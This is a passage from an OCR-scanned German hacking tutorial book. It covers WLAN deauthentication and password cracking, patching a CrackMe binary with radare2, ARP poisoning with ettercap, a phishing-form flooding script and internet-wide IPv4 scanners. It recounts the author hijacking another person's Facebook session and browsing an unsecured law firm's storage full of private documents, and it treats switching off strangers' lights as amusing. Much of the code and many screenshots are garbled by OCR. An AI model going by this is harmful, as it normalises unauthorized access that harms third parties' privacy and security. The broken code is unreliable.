shake aufgenommen. Wer damit übertreibt, macht das WLAN 
unbenutzbar. 


Andere WLAN-Geräte abmelden: 


>>> aireplay-ng --deauth 1 -a MAC wlanOmon 


Dadurch werden wir einige neue WLAN "Handshakes" erzwun- 
gen. Diese brauchen wir, um das WLAN Passwort zu knacken. 


Die gesammelten Daten sind, die wir mit "-w dump" geschrie- 
ben haben sind nun in unserer Capture Datei und können ge- 
crackt werden: 


>>> aircrack-ng -w wordlist.txt -b MAC dump.cap 


Das wird, je nach Passwort ewig lange dauern. Du kannst gerne 
versuchen deinen eigenen WLAN-Router zu hacken oder eben 
das Passwort auf etwas in deiner Wortliste setzen. Dann be- 
kommst du ein Gefühl dafür wie lange es dauern wird. Brute 
Force dauert eben auch eine Zeit bei lange Passwörtern. Unter 
12 Zeichen ist der Aufwand vertretbar. Wenn du einen WLAN 
Router mit einem selbstgewählten Namen (SSID) vor dir hast, 
dann könnte auch das gesetzte Passwort kürzer sein. 
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Reverse Engineering 

Wenn der Quellcode einer Software nicht vorhanden ist, lässt 
sich mit einem Disassembler oder Decompiler die Anweisungen 
an die CPU aus dem Binärcode rekonstruieren. Aber nicht nur 
Software kann rekonstruiert werden, sondern auch Kommuni- 
kationsprotokolle durch Beobachtung mittels Sniffing. Jetzt 
wird das Grundwissen zur CPU und RAM wichtig, außerdem ist 
es gut, wenn du programmieren kannst, um den Ablauf besser 
zu verstehen. Es gibt sogenannte CrackMe Challenges, die 
meist eine Art Passwort oder Zugangssicherung haben und über 
die Analyse des Binaries, soll diese aufgedeckt oder umgangen 
werden. Das hört sich für mich nach einem guten Lernziel an: 
Ich will ein CrackMe lösen. 


Meine Recherche beginnt bei bekannten WriteUps zu CrackMe 
Challenges. Dabei lerne ich welche Tools dafür verwendet wer- 
den. Es gibt auch Videos dazu, wenn ich nach "crackme chal- 
lenge" suche. Dadurch bekomme ich mit welche Features nütz- 
lich sind. Danach schaue ich mir die Tools genauer an, probiere 
sie aus und entscheide mich für eines davon. Eine dieser Chal- 
lenges oder CrackMe möchte ich machen. Es gibt unzählige 
"WriteUps" für ältere Challenges und ich verstehe derzeit noch 
Bahnhof und Abfahrt. Jetzt gilt es erstmal dieses Tool zu be- 
herrschen. Aber fangen wir von vorne an. 


Ein guter Disassembler in Kali Linux. "r2" bzw. vollständig aus- 
geschrieben "radare2". Spaßfakt: Das Tool wird in der Serie Mr. 
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Robot gezeigt und sieht cool aus. Ja, Style ist hier auch eine 
wichtige Kategorie. Das Tool hat keinen so guten Ruf, weil es 


etwas kompliziert sein soll. Wir werden es sehen. 


Als Challenge habe ich mir auf www.crackmes.one die "Mexican 
Challenge" von evilprogrammer heraus gesucht. Das soll leich- 
tes Reverse Engineering in C/C++ sein. Im Moment ist auch 
das für mich unerreichbar, denn ich habe noch keine Ahnung. 
Das Ziel ist es eine "Flag" also Zeichenkombination in einem 
bestimmten Format auszugeben. 


Radare2 ist ein Kommandozeilen Tool. Jeder Befehl besteht aus 
einzelnen Buchstaben z.B. "p" steht immer für Print und "pd" 
für Print Disassembly. Auf dem 33c3 gab es einen Vortrag des 
Entwicklers, den ich mir zum Start anschaue. Danach kenne ich 


mich etwas besser aus. 


Ich installiere Wine in Kali Linux: 


>>> apt install wine 
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Danach starte ich die ausgepackte Datei (das Passwort steht auf 
der Webseite im FAQ) von CrackMe: 


wine Untitled.exe 


> try harder 


"Try harder"! Alles klar. Ich habe noch nicht mal angefangen. 
Aktuell habe ich noch kaum Ahnung was abgeht, aber schauen 
wir mal, wie weit ich komme. Wir öffnen das Tool mit unserer 
Datei: 


>>> r2 Untitled.exe 


Da steht jetzt die erste Speicheradresse und ich habe bereits 


gelesen, dass "aaa" das Binary analysiert. Also tippe ich "aaa": 
[x] Analyze all flags starting with sym. and entryO (aa) 

[x] Analyze function calls (aac) 

[x] Analyze len bytes of instructions for references (aar) 
[x] Check for objc references 

[x] Check for vtables 

[x] Type matching analysis for all functions (aaft) 

[x] Propagate noreturn information 

[x] Use -AA or aaaa to perform additional experimental analy- 
sis. 

[x] Finding function preludes 


[x] Enable constraint types analysis for variables 


Mit "s" wie "seek" können wir zu Adressen springen und mit "pd 
20" z.B. 20 Speicheradressen danach anzeigen lassen. "pd" be- 
deutet "print disassambly". Wir können alle Unterbefehle mit 
Fragezeichen aufrufen, also "s?" zeigt uns weitere Optionen 
zum Suchen-Befehl. Fragezeichen und Eingabe drücken zur Hil- 
fe. Irgendwie kommen wir hier schon ans Ziel. 
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Aus einem Tutorial habe ich die wichtigsten Befehle. Schauen 


wir uns zuerst alle Funktionen an mit: 
afl 


Hier sehe ich "flag" als: 
0x00401500 1 300 sym.flag 


Zu dieser Speicheradresse springen wir mit: 
s 0x00401500 


Schauen wir uns die Funktion an: 
pd 


Es wird ein Array mit der "Flag" gebaut. Cool. Das muss ich aus- 
lesen. 


Was ist in der Hauptfunktion des Programms? Dazu tippen wir: 
pdf @main 


Die Ausgabe zeigt mit den Pfeilen die Sprünge an. Da sehen wir 
schon, dass vor dem Aufruf der flag() weg gesprungen wird. 
Ich brauche noch mehr Assembler Infos. Eine Suche nach "as- 
sembly cmp dword" bringt mich auf einen "x86 Assembly Gui- 
de". Wunderbar, ist abgespeichert. 


In dem Dokument suche ich nach "cmp" und finde folgendes 
heraus: 
Compare the values of the two specified operands, setting the con- 
dition codes in the machine status word appropriately. This in- 
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struction is equivalent to the sub instruction, except the result of 
the subtraction is discarded instead of replacing the first operand. 


Ach so, das steht für "compare" also Vergleich. Der Vergleich 
geht schief und bringt uns wo anders hin. 


In einer Funktionsbeschreibung zu Radare2 finde ich die visuel- 
le Darstellung. Um den Ablauf visuell zu betrachten, tippen wir: 


VV @main 


[0x40162c] 
; CALL XREF fromentryo@roxAdiädd 


58: int ı: » (int argc, char **argv, char **envp); 
; var 
push 
mov s 
‚ Oxffffffrfo 
sub ‚ 08x20 
;Loa] 
; [0xc1:4]=-1 
3.193 
mov dword [ ], 0xc1 
], 0xc1 


f 


u 


0x40164c [od] 0x401653 [of] 
;[oc] 
; CODE XREF from main @ 0x40164a 
; [0x404903:4]20x20797274 


; "try harder" 

mov dword [ 1% 

; int printf(const char «format) 
;Loe] 


0x40165f [og] 
; CODE XREF from main d 0x401651 
mov r 
leave 
ret 
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Wir sehen an dem roten "f' (= false) Pfad, dass wir dort hin 
müssen. Das bedeutet, dass derzeit der Vergleich immer wahr 
pl) 


ist und bei "try harder" printf landet. Mit "q" wieder raus aus 
der Grafik. 


Um die Datei zu verändern, muss Radare2 mit der Option "-w" 
gestartet werden. Also schließen wir Radare2 und starten es 
erneut mit: 


>>> r2 Untitledl.exe -w 


Die Schritte von vorhin erneut durchgehen: 
aaa 


pdf @main 


Wir müssen zum "Vergleich" also zum cmp: 


0x0040163a c744241cc100. mov dword [var_8h], Oxcl , 
[0xc1:4]=-1 ; 193 
0x00401642 817c241cc100. cmp dword [var_8h], Oxcl 


Ein Sprung zur Speicheradresse vor dem CMP: 
s 0x00401642 


Bin ich an der Stelle richtig? Schauen wir nach: 
pdil 


Ergebnis: 
0x00401642 817c241cc100. cmp dword [var_8h], Oxcl 
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Wunderbar, wir wollen den Vergleich ändern, sodass das Er- 
gebnis des Vergleichs falsch wird und uns den kleinen Flag-Text 
zurück gibt. Die Idee: Wir ändern irgendetwas damit das Pro- 
gramm in den "false" Weg läuft. Wie mache ich das? In einem 
Write Up finde ich heraus, dass ich mit "w" anfangen muss. 
Schauen wir nach "w?" ins Terminal tippen zur Hilfe. Da er- 
scheint eine große Liste der Befehle. Ein einfacher Weg ist es 
Bytes oder Dword zu erhöhen oder zu verringern. Im Prinzip 
+1 oder -1. 


Nachdem ich einfach hier und da ein paar Bytes geändert habe, 
um zu verstehen was da abgeht, fand ich bereits eine Möglich- 
keit. Nämlich "jmp" (= Jump) zu überschreiben, sodass die 
Ausgabe der Flag direkt aufgerufen wird. Allerdings zerstört 
das auch den kompletten Ablauf des Programms. Das geht si- 
cherlich besser. Versuchen wir es direkt mit "emp". Ich suche 
nach "Assembly Conditions" und finde einen Text auf Tutorials- 
point. 


Was ich dort erfahre: JLE bedeutet "Jump Less Or Equal". Das 
sehe ich auch bei "pdf @main" unter "emp". Oxcl wird in 
var_8h geschrieben und danach wird var_8h mit dem gleichen 
Wert Oxc1 verglichen. Die Darstellung sieht jedenfalls so für 
mich aus. 


Wir müssen aber erst zum richtigen Punkt springen. Seek kann 
auch genauer springen. Was wir suchen ist Oxc1. Diesen Wert 
möchte ich überschreiben, weil er vorher bei "mov dword" in 
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die Variable geschoben wird. Danach ist der Vergleich: "Oxc1" 
<= "0xcl". Da die Werte gleich sind, landen wir im True-Be- 
reich. Wenn wir die zweite Variable um eins reduzieren, sollten 
wir im False-Bereich landen. 


Nach ein paar Versuchen finde ich c1 bei: 
s 0x00401642 +4 


Schauen wir uns an wo wir sind: 
px1l 
> 0x00401646 cıi 


Pfuschen wir ein bisschen darin herum. Dazu kommt der "wri- 
te" Befehl zum Einsatz, die Hilfe dazu: 


w[1248][+-][n] increment/decrement byte,word.. 


Okay, wir wollen das nächste Byte reduzieren. "w1" schreibt ein 


Byte. Das "-" reduziert es. Reduziert wird um 1. 
wl -1 


Schauen wir nochmal nach: 
px1l 
> 0x00401646 co 


Wie sieht die Main-Funktion aus bzw. unser "cmp"? 
pdf @main 


0x0040163a c744241cc100. mov dword [var_8h], Oxcl r 
[0xc1:4]=-1 ; 193 
0x00401642 817c241cc000. cmp dword [var_8h], 0xc0 
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Nun wird Variable "var_8h" mit dem Wert "Oxc1" geschrieben 
und verglichen mit "0xc0". Ist Oxc1 kleiner gleich 0xc0? Nein, 
deshalb wird es in den False-Bereich laufen, in der unsere Flag 
ist. Jedenfalls würde ich es im Moment so verstehen, schließ- 
lich beschäftige ich mich erst seit ungefähr 10 Stunden mit As- 
sembler und weiß vor allem wie es nicht funktioniert. ;) 


Testen wir es: 
>>> wine Untitledl.exe 
> flag{M3x1c4nMl41w4r3_pl3rro} 


Wow, es ging! Die Lösung ist doch nicht schlecht und mit dem 
Tool zu spielen hat Spaß gemacht. 


Um eine Gegenprobe zu machen, dass ich diesen Teil richtig 
verstanden habe, werde ich die Bedingung umdrehen. Wir 
springen dazu nach "s 0x0040164a" dort steht: "jle 0x401653". 


Wir werden ein Byte reduzieren und es trifft hoffentlich den 


passenden Befehl: 

wl -1 

pdi 

> 0x0040164a 7407 jge 0x401653 


LOL, perfekt. Wir haben ein "jge" also größer oder gleich. Direkt 
testen im anderen Terminal, wir müssten wieder im True-Be- 
reich sein. 


>>> wine Untitledl.exe 


> try harder 
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Perfekt. Jetzt setze ich den Wert im "emp" höher. Danach müss- 


ten wir wieder die Lösung sehen: 
s 0x00401642+4 
px1l 


> c0 


cO muss größer als c1 sein. Also erhöhen wir es um zwei: 
wl +2 

px1 

> c2 


Der Vergleich sieht nun so aus: Ist "Oxc1" größer oder gleich 
"Oxc2". Nein, ist es nicht, deshalb sind wir im False-Bereich mit 
der Flag. 


Testen: 


wine Untitledl.exe 
> flag{M3x1c4nMl41w4r3_pl3rro} 


Cool, damit habe ich gerade einen Teil von Radare2, Assembler 
und diesem CrackMe verstanden. Außerdem bekam meine Wis- 
sensdatenbank ein paar neue Assembler Artikel dazu. Am Ende 
speichere ich mir die nützlichsten Befehle in eine eigene Datei: 

* aaa = analyse binary 

* pdf @main = print dissasembly function main 

* s 0x00000000 = seek memory adress 

x VV @main = visual workflow function main 

* pd/px = print disasm / hexdump 

* wa/wx = write assemby / hexpairs 

* v = enter visual mode 
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*q= quit 


Exploitation Tools 

Es gibt einige Szenarien um Exploitation zu üben. Eine Variante 
wäre "Metasploitable 3" installieren. Das ist eine VM, die ver- 
schiedene Sicherheitslücken hat, die direkt mit Metasploit aus- 
genutzt werden können. Diese Maschine fällt in die Kategorie 
"Sicherheitsupdates nicht gemacht". Das wird oft bei Live- 
Hacking gezeigt und ist eigentlich ein ziemlich langweiliges 
Beispiel. 


Metasploit ist aber das Mittel der Wahl, um bekannte Exploits 
zu nutzen. Ein praktisches Beispiel dazu gibt es im Kapitel 
"Hack The Box". Deshalb überspringen wir es hier. 


Sniffing & Spoofing 

Generell ist es nützlich, wenn du Paket Analyse Tools benutzen 
kannst, um zu schauen, was über die Leitung geht. Sniffing hat- 
te ich in meinen Teenagerjahren im LAN bei meiner Freundin 
ausprobiert. Damals war es "ARP Request Spoofing" mit etter- 
cap. Danach liefen alle Pakete über meinen Rechner und dort 
konnte ich mir anschauen, was gerade im Netzwerk passiert. 
Damals war Facebook nicht standardmäßig verschlüsselt, also 
konnte ich alle Requests mitlesen. Es gäbe dann die Möglichkeit 
das Passwort bei der Übertragung zu speichern, aber das war 
nicht nötig. Ich konnte in Wireshark das aktuelle Cookie aus 
einem Facebook HTTP Request heraus kopieren. Danach muss- 
te ich nur meinen Browser öffnen, das Session-Cookie einfügen 
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und schon war ich eingeloggt in den fremden Facebook Ac- 


count. 


Meine Reaktion war damals: 


Ups, 


das funktioniert wirklich. 


Dann habe ich mich schnell wieder ausgeloggt. 


Für Ettercap gibt es sogar eine grafische Oberfläche. Das macht 


es noch einfacher zu bedienen: 


ee 


ee 


ee 


ee 


ee 


ee 


ee 


ee 


ee 


r 


* Ettercap starten 

* Sniff > "Unified Sniffing" auswählen. 

* Gewünschtes Netzwerkinterface auswählen. 

* View > "Resolve IP addresses" aktivieren, mit Namen ist es 


einfacher 


* IPv6 Scan aktivieren. 
* Hosts > "Scan for hosts" anklicken. 
* Hostlist öffnen. Dort sollten nun die Rechner in deinem 


LAN/WLAN sehen. 


* Das Gateway (Router) wird Target 1 und der Ziel-PC wird 


Target 2. 


x Wenn wir die Targets haben können wir "ARP Poisoning" 


starten. "Mitm" > "ARP Poisoning" > "Sniff remote connec- 


tions". 


* Wenn das erfolgreich gestartet wurde, können wir das Pro- 


gramm "Wireshark" öffnen. 
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* In Wireshark sehen wir alle Pakete, die über unsere ge- 
wählte Netzwerkschnittstelle empfangen und versendet 
werden. 

* Dort findet sich auch eine Warnung, dass die IP 
192.168.2.108 doppelt eingerichtet ist. Das ist das ARP 
Poisoning. 


Wir sehen nun auch DNS Anfragen und die Domain, die auf 
dem Zielrechner eingegeben wurde. Wir sehen wenn verschlüs- 
selte Verbindungen zu Webseiten aufgebaut werden. Wir sehen 
alle unverschlüsselten Verbindungen direkt und können darin 
nach Informationen suchen. Ich sehe auch, wenn der Windows 
Rechner nach Updates sucht oder sonstige Telemetrie-Verbin- 
dungen aufbaut. 


Post Exploitation 

Wenn du Zugriff auf das System hast, willst du natürlich auch 
root Zugang auf die Maschine. Was nach dem Zugriff auf das 
System passiert ist "Post Exploitation". Das umfasst das Spuren 
verwischen, die genutzte Sicherheitslücke selbst schließen und 
dafür zu sorgen, dass dein Zugang dauerhaft ist. Du also immer 
wieder zurück zur Maschine kommen kannst. 


Außerdem umfasst es alle Tools, um Daten im System zu finden 
und herunterzuladen. Mimikatz findet Passwörter auf Windows 
Systemen. Du kannst nach weiteren Maschinen im lokale 
Netzwerk suchen, Netzwerkfreigaben und auch einen Keylog- 
ger für die normalen Benutzer der Maschine installieren. 
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Vielleicht willst du auch eine Art RAT (= Remote Admin Tool) 
einsetzen. Wie immer darf das nur auf eigenen Systemen oder 
dafür vorgesehenen Systemen legal getan werden. Für mich ist 
es derzeit nicht interessant. 


Forensik 

Der einfachste Fall sind Metadaten, die sich in Dateien befin- 
den. Nehmen wir z.B. ein Foto, dass eventuell auch Positionsda- 
ten gespeichert hat. Dort steht auch dabei, mit welchem Gerät 
das Foto aufgenommen wurde. Einige Picture Viewer zeigen 
diese Informationen direkt. Sogar unter Windows mit einem 
Rechtsklick auf das Bild. Bei Eigenschaften und Dateiinforma- 
tionen werden einige Metadaten gezeigt. 


Unter Linux gibt es ein kleines Shell Programm: "Exiftool": 


>>> sudo apt install libimage-exiftool-perl 


Danach mit "exiftool dateiname" ausführen. Unter GPS Position 
siehst du die GPS-Daten, wenn es welche gibt. Dort können sich 
auch Informationen zum Copyright finden. 


Forensik besteht auch aus dem Extrahieren von Daten zur kri- 
minologischen Untersuchung. Das was mit eurer Hardware pas- 
siert, wenn ihr eine Hausdurchsuchung hattet. 


"Guymager" macht so ein Image von einem angeschlossenen 
Speicher! "bulk _extractor" findet darin bestimmte Dateien oder 
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vermutlich nützliche Informationen. Das gilt für große Daten- 
mengen oder eben auch Images. Die Beschreibung zu diesem 
Tool ist ziemlich eindeutig. Ich hatte auch kein echtes Beispiel 
zum Ausprobieren, also habe ich es mal auf ein aktuelles 
Raspberry Pi Image losgelassen: 


>>> bulk_extractor -o /root/bulk image.img 


Bulk Extractor macht dir in diesem Fall unter /root/bulk einen 
Ordner in dem dann Dateien erstellt werden wie z.B.: do- 
main.txt (Beinhaltet Domains oder IPs in unterschiedlichen 
Formaten. Am Anfang der Zeile steht in welcher Datei sich die- 
ser gefundene Text verbirgt. Das Programm kann auch mit be- 
stimmten regulären Ausdrücken umgehen, falls nach bestimm- 
ten Zeichenfolgen gesucht wird. 


Berichte 

In dieser Kategorie gibt es ein paar Analyse Tools. "Pipal" wertet 
Passwort Leaks aus und verrät spannende Dinge, wie die 5 
meistgenutzten Passwörter. Mir ist auch aufgefallen, dass es 
keine Manpage zu diesem Tool gibt. "man pipal" liefert nichts. 
Da hilft eine Websuche nach "pipal kali linux". Die Kurzbe- 
schreibung: "pipal - Statistical analysis on password dumps". 
Das fasst es gut zusammen. 


In der Kategorie ist auch ein Screenrecorder, ansonsten nichts 
spannendes für mich. 
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Social Engineering Toolkit 

Die bekannteste Methode in dieser Kategorie dürfte das Phis- 
hing sein. Es wird eine Webseite nachgebaut, die auch einen 
ähnlichen Namen haben kann und dort sollen sich die Nutzer/- 
innen einloggen. Die Zugangsdaten werden vom Angreifer ge- 
speichert. Als Web Entwickler ist das keine Herausforderung für 
mich. 


Dieses Toolkit beinhaltet Massen-E-Mailer oder Webseiten, die 
Trojaner anbieten. Das Unterschieben von Webseiten (z.B. im 
gleichen Netzwerk oder WLAN), die dann wiederum alle Down- 
loads mit Trojaner verbinden. 


Es enthält SMS Spoofing, also das Verschleiern des Absenders 
einer SMS, um sich als jemand anderes auszugeben. Auch ein- 
fache Dinge wie OR Codes überkleben gehört für mich dazu. 


Wer bereits gemeldete Phishing Webseiten sucht, der wird auf 
https://openphish.com fündig. Wir stellen uns vor: Ein Phisher, 
der sich seine Opfer-Daten anschauen will, aber ein Hacker hat 
ein Script geschrieben, dass das Formular mit lauter Bullshit 
automatisiert ausfüllt. 


Was könnten wir tun? JavaScript in die Webseite einbinden, 
dass ständig das Formular ausfüllt und mit zufälligen Daten ab- 
sendet. Das ist möglich, allerdings kann es später, wenn ein gu- 
ter Hacker die Datenbank in die Hände bekommt und die Opfer 
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informieren möchte, zu Problemen führen, weil auch diese Per- 
son nicht unterscheiden kann was Fake oder Echt ist. 


Trotzdem gehe ich gerne die Theorie durch. Hier haben wir ein 
Beispiel von "Bank of America" auf einer (womöglich) gehack- 
ten Wordpress Installation. 


€ a® @® #4 rcktmmetro.org.np/wp-ir € 8 OD |Q needi.php > [en] 


Personal Small Business Wealth Management Businesses & Institutions = About Us 


BankofAmerica FI 


Checking Savings Credit Cards Home Loans Auto Loans 


onen | Choose the card that work 


Cash Rewards credit card Travel Rewards credit card 


[1 Save Online ID 


Forgot Online ID? | Forgot Passcode? 


Security & Help Enroll 
Onsa ag A 
EG Ulnspector BI Console SER {} Style Editor @ Performance ÜR Memory = Network 8 Storage EHrtps Everyw 
+ ırch HTN E Rules Computed 
div ide imagelt style="position:absolute; overflow:hidden; left:484px; top:3170px; width:399px; 
height:55px; z-index:17">O)</diw. 


<div id="imagel9 styles tion:absolute; overflow:hidden; left:157px; top:3810px; width:1033px; 1 — 


Inherited from divi#fcontair 


<input clas sr TETTETZ Online 1D autocomplete="off" required= container 
a2 e="position:absolute;width:274px;left:67px;top:1l63px;z-index:19" type="text text-align: left; 
nput class="textbox" name="psw" placeholder="Passcode" autocomplete="off" required= 
position:absolu ;left:67px;top:21l1px;z-index:20" tyı password"> Inherited from body 
d="checkboxGl bso, ; 57 21 div: Bach 
v id="checkboxG1" styl: bsolute; div: a ie e 
v id="formimagel" style= bsolute; left:66px div: \ 
html > body > div form#kidrgythy > input 


Es gibt verschiedene Varianten, wie sich das programmieren 
lässt. Eine Möglichkeit wäre ein Script im Browser selbst, dass 
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die Seite auf normale Art und Weise ausfüllt und absendet. Das 
ist von manuellen Eingaben nicht zu unterscheiden. 


Wir installieren eine Browser Erweiterung, die uns erlaubt, auf 
jeder Seite eigenes Javascript auszuführen. Dadurch wird unser 
Script gespeichert und bei jedem Besuch der Seite gestartet. 


Als Erstes brauchen wir einen Generator für die zufälligen Da- 
ten. 


const chars = ["a", "b", "c", "d", "e", "£", "g", "h", "i", "J 
ek ls mr nr oe Der "Ga Een Ur NW 
vw", "x", '"y', "z']; 

const numbers = ["1", "2", "3", "a", "5", "6", "7", "8", "9", 

"0" 

const length = 6; 


const lowerUpper = true; 


let use = numbers; 


Wir legen Buchstaben oder Zahlen fest. In diesem Fall nutzen 
wir Zahlen als Login und Passwort. Wir suchen uns per Java- 
Script das Login- und Passwortfeld, füllen es mit Zufallsdaten 
und schicken das Formular ab. 


let loginElement = 
document .querySelector( 'input[name="login"]'); 
let pwElement = document .querySelector( 'input[type="password"] 


); 


loginElement.value = getRandom() 


pwElement.value = getRandom(); 
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document .querySelector( 'input[type="submit"]').click() 


Diese Funktion gibt die Zufallszahlen oder Buchstabenkombina- 


tionen zurück: 


function getRandom() { 
// build random string/number/password 
let str = ""; 
while (str.length < length) { 
let thischar = use[Math.floor(Math.random() * use.- 


length) ]; 


// lower and uppercase 
if (lowerUpper) { 
if (Math.random() < 0.5) { 
thischar = thischar.toUpperCase(); 
} else { 
thischar = thischar.toLowerCase(); 


str += thischar; 


} 


return str; 


Der komplette Code ist auf Github: https://github.com/Leetco- 
re/wie-werde-ich-hacker/blob/master/scripts/Phishing_Tras- 


her.js 


Die gehobene Variante wäre eine Abfrage an diese API: https:// 
randomuser.me. Dort sind realistische Beispieldaten abrufbar. 
Darüber lassen sich zufällige Namen oder E-Mailadressen super 
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generieren. Mein Beispiel-Script ist nicht wirklich effizient, al- 
lerdings kann die Webseite auch in mehreren Tabs geöffnet 
werden, was für gleichzeitige Anfragen sorgt. 


Soweit zum Kali Linux Exkurs. Da gibt es genug zum Auspro- 
bieren. Nachdem die Grundlagen aus dem Security Bereich an- 
geschnitten wurden, fange ich mit eigenem Code an. 


Das Internet scannen 

Das "Internet der Dinge" (= Internet of Things) ist eine tolle 
Sache. In Alltagsgegenstände wird ein WLAN Modul eingebaut, 
damit es ferngesteuert werden kann. Meistens auch noch über 
das Internet. Allerdings werden die wenigsten dieser Systeme 
überhaupt aktualisiert. In den meisten Fällen müssten die Be- 
sitzer/-innen diese Informationen bekommen und die Mühe 
aufbringen ihre Kaffeemaschine zu updaten. 


Um solche und andere Systeme zu finden, muss ein Hacker 
nicht viel tun. Er muss eigentlich nur scannen. Was in diesem 
Fall nichts anderes ist als das Ausprobieren von IPv4 Adressen, 
freundliches Anklopfen und schauen, was dort antwortet. 


Ich zeige die Grundlagen dafür, denn auf dieser Basis können 
auch andere Dienste gescannt werden oder statt IPv4 könnte 
IPv6 benutzt werden. Wie auch immer das Internet ist groß und 
es wird lange dauern. 
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Angefangen hat die Idee mit einem Scanner für offene Web- 
cams, die dann auf einer Webseite dargestellt werden. Aller- 
dings muss das Script auf spezielle Modelle angepasst werden. 


Grober Ablaufplan 

* IP-Range vorgeben (1.1.1.1 - 255.255.255.254). 

* Port 80, 8080 ausprobieren (hier könnten wir auch Port 
443 für HTTPS benutzen). 

* Die aktuelle IP-Adresse speichern, sodass der Scan später 
fortgeführt werden kann. 

* Die Ergebnisse speichern. 

* Die gefunden Webcams speichern und auf der eigenen 
Webseite anzeigen. 


Grundsätzlich lässt sich das mit netzwerkfähigen Programmier- 
sprachen umsetzen. Ich nehme dieses Mal NodeJS, weil ich den 
Scanner auch veröffentlichen möchte. Aber keine Sorge, wir 
programmieren etwas ähnliches auch noch in Python. 


Wir brauchen eine Bibliothek, die einfache Requests verschi- 
cken kann und einen Node HTML Parser, der mir von der Web- 
seite schon mal ein paar Informationen besorgt. Interessant 
wäre, ob es auf der Webseite ein Formular mit Login und Pass- 
wortabfrage gibt. 


const request = require( 'request'); 
const express = require( 'express'); 


const { parse } = require( 'node-html-parser'); 
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const fs = require('fs'); 


Der Kern des Scanners sind die Counter von 1 bis 254, die dar- 
aus eine IPv4 Adresse bauen und die Request Bibliothek sendet 
die Abfrage. 


for (var octl = octlstart; octl < 253; octl++) { 
VI x 4 
// build ipv4 and check for web server 


Außerdem speichere ich die IP Adresse bei der wir zuletzt wa- 
ren, alle Webserver, die eine Antwort geben, deren Server-Hea- 
der (Systemname) und ob es ein Login/Passwort Formular gibt. 


Damit nicht viel zu viele Requests raus gehen und mir die 
Netzwerkverbindung auslasten (zu viele gleichzeitige Verbin- 
dungen) warte ich alle 10 IP Adressen bis der Request abge- 
schlossen wurde. Da ich auf Port 80, 8080 und 8081 prüfe, 
werden 30 Requests gleichzeitig gesendet, womit ich den Rest 
meines Computers noch normal nutzen kann. Allerdings dauert 
der Scan dadurch länger. 


Der komplette Code befindet sich auf Github: https://github.- 
com/Leetcore/node-webcam-scanner. 


Neben der Suche nach dieser speziellen Live Webcam lohnt es 
sich auch einfach die gefundenen Webserver auszuprobieren. 
Denn oft sind da Webserver ungeschützt im Internet, die ei- 
gentlich gar nicht ungeschützt ins Internet sollten. 
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Sollte es ein Passwort geben, könnten wir im Internet heraus- 
finden was das Standardpasswort für dieses Gerät ist. Aber wir 
erinnern uns: Logins und Passwörter "umgehen" ist illegal. In 
keinem meiner gezeigten Beispiel war ein Passwort notwendig. 
Mit der IP-Adresse sind die Webserver erreichbar bzw. erreich- 
bar gewesen. 


Währenddessen hat mein 
Web Scanner ein Lenovo 
Media Center ohne Pass- 


wortabfrage gefunden. Das 
ist auch ein Punkt auf 
meiner Bucket List, den ich 
unbedingt abhaken wollte: 
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Media Center im Internet 


BD 


finden und dann Justin Bie- 


PDPDEDDD 


ber hören. 


Auch ein schöner Fund ist das D-Link ShareCenter, dass nach 
einem Reset dem Admin Nutzer gar kein Passwort mehr gibt, 
sodass ein Klick auf das Login, dich als Admin einloggt. Okay... 


Es gibt eine (teilweise kostenpflichtige) Suchmaschine für sol- 
che Dienste. Die funktioniert so ähnlich, wie das was wir pro- 
grammiert haben: www.shodan.io. Wer sich die Wartezeit spa- 
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ren möchte und es in seine eigene Scripte integrieren will, kann 
dort verschiedene Bibliotheken für Programmiersprachen fin- 
den. 


Internet of Things 

Das ganze Netz ist voll mit Geräten, von denen die Besitzer 
vermutlich nicht wissen, dass sie öffentlich erreichbar sind, wie 
z.B. Drucker. Es kann auch durchaus passieren, dass wir mal 
auf einem Honeypot landen. Das sind Systeme, die im Netz 
hängen, um zu schauen wer sie hacken will und vor allem wie. 


Mn HP ENVY 5530 e-All-in-One Printer series 


Home Scan Web Services Network Tools Settings 


Status Ready Items Needing Attention 
Printer Information 
Ink Gauge 1 Tri-color HP Instant Ink: Genuine HP 
Instant Ink cartridge 


| Product Information 
| 


Reports = 
Utilities > 
u Black HP Instant Ink: Genuine HP 


Network. Instant Ink cartridge 


HP ENVY 5530 e-All-in- 
One Printer series 


(8) 
Details 
Product Name HP ENVY 5530 e-All-in-One Printer series 


Product Model Number AQJABB 


Wer destruktiv veranlagt ist, der würde nun den "Print testpa- 
ge" Button ein paarmal anklicken. Allerdings könnte man sich 
den Drucker auch selbst einrichten und eine eigene Seite dort 
drucken lassen. 


Ein kleiner Scanner lässt sich auch in Python bauen. Wir pro- 
bieren alles von 1.1.1.1 bis 255.255.255.254 durch und schau- 
en, ob dort ein Webserver antwortet. 
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for octl in range(1,255): 
for oct2 in range(1,255): 
for oct3 in range(1,255): 
for oct4 in range(1,254): 


Wenn der Status Code 200 ist, schreiben wir die URL in die Lis- 
te found.txt 


# build full url with port 


ipandport = str(octl) + '.' + str(oct2) + '.' + str(oct3) + 
'.'" + str(oct4) + ':' + str(port) 
url = 'http://'+ ipandport +'/' 


# printout current url 
print('Try ' + url) 
try: 
# try the request with timeout 
result = requests.request( 'get', url, params=None, time- 
out=1.0) 
# if response is valid print something 
if result.status_code == 200: 
print( 'Webserver found!') 
# save url with webserver in a file 
with open(folder + '/f£found.txt', 'a') as myfile: 
myfile.write(url + '\n') 
except: 
# ignore all errors 


pass 


Kompletter Quellcode: https://github.com/Leetcore/wie-wer- 
de-ich-hacker/blob/master/scripts/webscanner.py 


Interessanter wird es, wenn plötzlich die Konfiguration einer 
Wärmepumpe auftaucht, die ich ohne irgendwelche Passwort- 
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abfragen an- und ausschalten 
kann. 


Noch lustiger ist es, wenn 
das ganze Smart Home er- 
reichbar ist und diverse Lam- 
pen vom Internet aus gesteu- 
ert werden können. Ich spre- 
che kein italienisch, aber 
mein Übersetzungstool bestä- 
tigt mir, dass im "Wohnzim- 
mer" das Licht an ist und ich 
es abschalten könnte. 


ErH Luci gl 
< piano giorno > 
OFF | soffitto scala ingre 9 ON 
OFF | parete scala ingress U ON 
OFF | corridoio giorno N ON 
OFF | sala parete divano U ON 
OFF sala parete tv ® on 
OFF | soffitto saletta 9 ON 
OFF | pareti saletta ® on 
OFF | studio ® on 


<Comelit Connesso (3 


Das ist aber nichts im Vergleich zum nächsten Fund, den mein 


Web Scanner ausgespuckt hat: Ein ungeschützter Netzwerk- 


speicher (Iomega StorCenter) einer italienischen Anwaltskanz- 


lei. 


Wir sind offensichtlich in einer italienischer IP-Range. Dort fin- 


den sich Rechnungen aus den letzten Jahren, persönliche Un- 


terlagen, Urteile und Beweis Screenshots aus WhatsApp, die für 


